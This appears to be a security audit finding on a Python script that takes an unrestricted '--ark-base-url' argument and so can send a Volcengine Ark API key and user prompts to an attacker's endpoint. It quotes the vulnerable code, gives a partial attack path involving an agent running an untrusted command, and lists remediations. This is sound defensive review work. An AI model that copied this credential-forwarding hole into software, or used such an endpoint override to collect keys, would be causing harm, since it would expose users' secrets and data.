T09 · Insecure Skill Coding Practices
- Location
scripts/generate_xhs.py:178- Finding
Attacker-Controlled Ark Endpoint Can Receive the API Key and User Content
- Content
View full analysis
Vulnerability Details
File Location:
scripts/generate_xhs.py:178, 200; credential attachment occurs inscripts/ai_services/volcengine_service.py:22-30
Vulnerability Type: Unrestricted authenticated API endpoint configuration
Risk Level: HighVulnerable Code
python # scripts/generate_xhs.py:178 parser.add_argument( "--ark-base-url", default=volcengine_service.ARK_BASE_URL, help="火山引擎 Ark OpenAI 兼容接口地址", ) # scripts/generate_xhs.py:200 client = ( service.create_client(args.ark_base_url) if provider == "volcengine" else service.create_client() )python # scripts/ai_services/volcengine_service.py:22-30 def create_client(base_url: Optional[str] = None) -> Any: try: from openai import OpenAI except ImportError as exc: raise RuntimeError("缺少 openai SDK。请运行：pip install openai") from exc return OpenAI( base_url=base_url or ARK_BASE_URL, api_key=require_api_key(), )The same implementation is duplicated at
OpenClaw/scripts/generate_xhs.py:178, 200andOpenClaw/scripts/ai_services/volcengine_service.py:22-30.Technical Analysis
The
--ark-base-urlargument accepts an unrestricted string and passes it directly to the OpenAI-compatible client. The same client is initialized with the secret obtained fromARK_API_KEY.Consequently, the SDK sends authenticated generation requests to whichever endpoint the caller selects. No HTTPS requirement, hostname allowlist, canonical origin validation, or restriction to the official Volcengine Ark service is applied. If an agent follows an untrusted command containing a malicious endpoint, that endpoint can receive the authorization credential and submitted prompt data.
Attack Path
-
The victim configures a valid
ARK_API_KEY. -
An attacker influences the command executed by the user or agent, for example:
bash python3 scripts/generate_xhs.py \ "sensitive campaign description" \ --pr
...[truncated 974 chars]
-
- Remediation
View remediation
Remediation Suggestions
- Remove the custom endpoint option unless it is operationally necessary.
- If endpoint configuration is required, parse the URL and enforce:
- HTTPS only;
- an exact allowlist of approved Ark hostnames;
- an expected port and path prefix;
- rejection of embedded credentials, IP literals, fragments, and malformed hosts.
- Do not rely on suffix matching such as
endswith("volces.com"), because deceptive domains can bypass weak checks. - Configure the HTTP client not to forward authorization headers across cross-origin redirects.
- Separate custom OpenAI-compatible endpoints from the official Ark credential flow. Require a distinct credential explicitly associated with each approved origin.
- Add tests confirming that HTTP URLs, unapproved domains, deceptive subdomains, and cross-origin redirects are rejected.
- Apply the remediation to both the root and
OpenClaw/copies to avoid inconsistent security behavior. - Rotate
ARK_API_KEYif the script has previously been used with an untrusted endpoint.